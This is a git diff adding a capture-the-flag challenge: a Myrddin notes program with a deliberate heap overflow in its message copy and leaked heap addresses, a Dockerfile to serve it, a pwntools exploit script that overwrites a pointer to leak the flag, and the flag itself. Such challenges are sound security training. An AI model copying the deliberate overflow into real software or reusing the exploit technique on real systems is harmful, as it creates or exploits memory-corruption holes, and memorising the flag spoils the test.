diff options
Diffstat (limited to 'suckless2')
| -rw-r--r-- | suckless2/.gitignore | 1 | ||||
| -rw-r--r-- | suckless2/Dockerfile | 22 | ||||
| -rw-r--r-- | suckless2/exploit.py | 43 | ||||
| -rw-r--r-- | suckless2/flag.txt | 5 | ||||
| -rw-r--r-- | suckless2/suckless2.myr | 101 |
5 files changed, 172 insertions, 0 deletions
diff --git a/suckless2/.gitignore b/suckless2/.gitignore new file mode 100644 index 0000000..67b1909 --- /dev/null +++ b/suckless2/.gitignore @@ -0,0 +1 @@ +*.use diff --git a/suckless2/Dockerfile b/suckless2/Dockerfile new file mode 100644 index 0000000..97e8291 --- /dev/null +++ b/suckless2/Dockerfile @@ -0,0 +1,22 @@ +# Stolen from https://github.com/LiveOverflow/pwn_docker_example/blob/master/challenge/Dockerfile + +# docker build -t suckless2 . +# docker run -d -p 8089:8089 --restart=always --name suckless2 suckless2 + +FROM ubuntu:20.04 + +RUN apt-get update + +RUN useradd -d /home/ctf/ -m -p ctf -s /bin/bash ctf +RUN echo "ctf:ctf" | chpasswd + +WORKDIR /home/ctf + +COPY suckless2 . +COPY ynetd . + +RUN chown -R root:root /home/ctf + +USER ctf +EXPOSE 8089 +CMD ./ynetd -p 8089 ./suckless2 diff --git a/suckless2/exploit.py b/suckless2/exploit.py new file mode 100644 index 0000000..5ebdaf9 --- /dev/null +++ b/suckless2/exploit.py @@ -0,0 +1,43 @@ +import struct + +from pwn import * +context(arch="x86_64", os="linux") + +FLAG_ADDR = 0x42a3cc + +p = process(["./suckless"], False, "./suckless") +print("Here") +# p = remote('34.75.105.136',1029) + +# Allocate first chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR)) +p.recvuntil("> ") +p.sendline("show") +p.recvuntil("address: ") +dbg = int(p.recvline(), 16) + +# Allocate dummy chunk. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline((b"B" * 8)) +p.recvuntil("> ") +p.sendline("show") + +# Overwrite versionptr. +p.recvuntil("> ") +p.sendline("new") +p.recvuntil("note length: ") +p.sendline("8") +p.recvuntil("note: ") +p.sendline() +p.recvuntil("> ") +p.sendline("show") +print(p.recvuntil("> ")) diff --git a/suckless2/flag.txt b/suckless2/flag.txt new file mode 100644 index 0000000..cc400ee --- /dev/null +++ b/suckless2/flag.txt @@ -0,0 +1,5 @@ +Patch this into the binary that ends up on the server. + +Obvious decoy is obvious. Hit the server, you fool. +UMASS{dont_navigate_the_heap_with_a_broken_compass} + diff --git a/suckless2/suckless2.myr b/suckless2/suckless2.myr new file mode 100644 index 0000000..df65df6 --- /dev/null +++ b/suckless2/suckless2.myr @@ -0,0 +1,101 @@ +use std + +var flag = "Obvious decoy is obvious. Hit the server, you fool." +var version = "sldiary 0.1.1" + +const intro = { + std.put("(\\ \n") + std.put("\\'\\ \n") + std.put(" \\'\\ __________ \n") + std.put(" / '| ()_________)\n") + std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version) + std.put(" \\ \\ ~~~~~~ \\\n") + std.put(" ==). \\__________\\\n") + std.put(" (__) ()__________)\n") + std.put("\n") + std.put("type 'help' for available commands\n") +} + +const showver = { + var tmp = flag + std.put("this is {}\n", version) +} + +const addmsg = {n, buf -> byte# + var i + var msg = std.bytealloc(n) + for i = 0; buf[i] != ('\n' : byte); i++; + (((msg : std.size) + i) : byte#)# = buf[i] + ;; + -> msg +} + +const msgstrconv = {n, msg + var i + var sb = std.mksb() + for i = 0; i < n; i++ + std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char)) + ;; + -> std.sbfin(sb) +} + +const getln = { + var sb = std.mksb() + var buf = std.slalloc(0x40) + match std.read(std.In, buf) + | `std.Ok(n): + | `std.Err(n): std.die("i/o error") + ;; + std.sbputs(sb, buf) + -> std.sbfin(sb) +} + +const main = { + intro() + var notes = std.slalloc(0) + + var line + while true + std.put("> ") + line = getln() + if std.strhas(line, "help") + std.put("help: print this\n") + std.put("new: make a new note\n") + std.put("show: show all of your notes\n") + std.put("version: show the version of sldiary\n") + elif std.strhas(line, "new") + std.put("note length: ") + std.slfree(line) + line = getln() + var len + match std.strfind(line, "\n") + | `std.Some(n): line = line[:n] + | `std.None: + ;; + match std.intparse(line) + | `std.Some(n): len = n + | `std.None: std.put("invalid length\n"); continue + ;; + std.put("note: ") + std.slfree(line) + line = getln() + var msg = addmsg(len, line) + notes = std.slpush(¬es, (len, msg)) + elif std.strhas(line, "show") + var i + for i = 0; i < notes.len; i++; + var len, msg + (len, msg) = notes[i] + std.put("address: {}\n", (msg : byte#)) + std.put("{}: {}\n", i, msgstrconv((len : uint64), msg)) + ;; + elif std.strhas(line, "version") + showver() + else + std.put("invalid command\n") + ;; + std.slfree(line) + ;; + + std.slfree(notes) +} |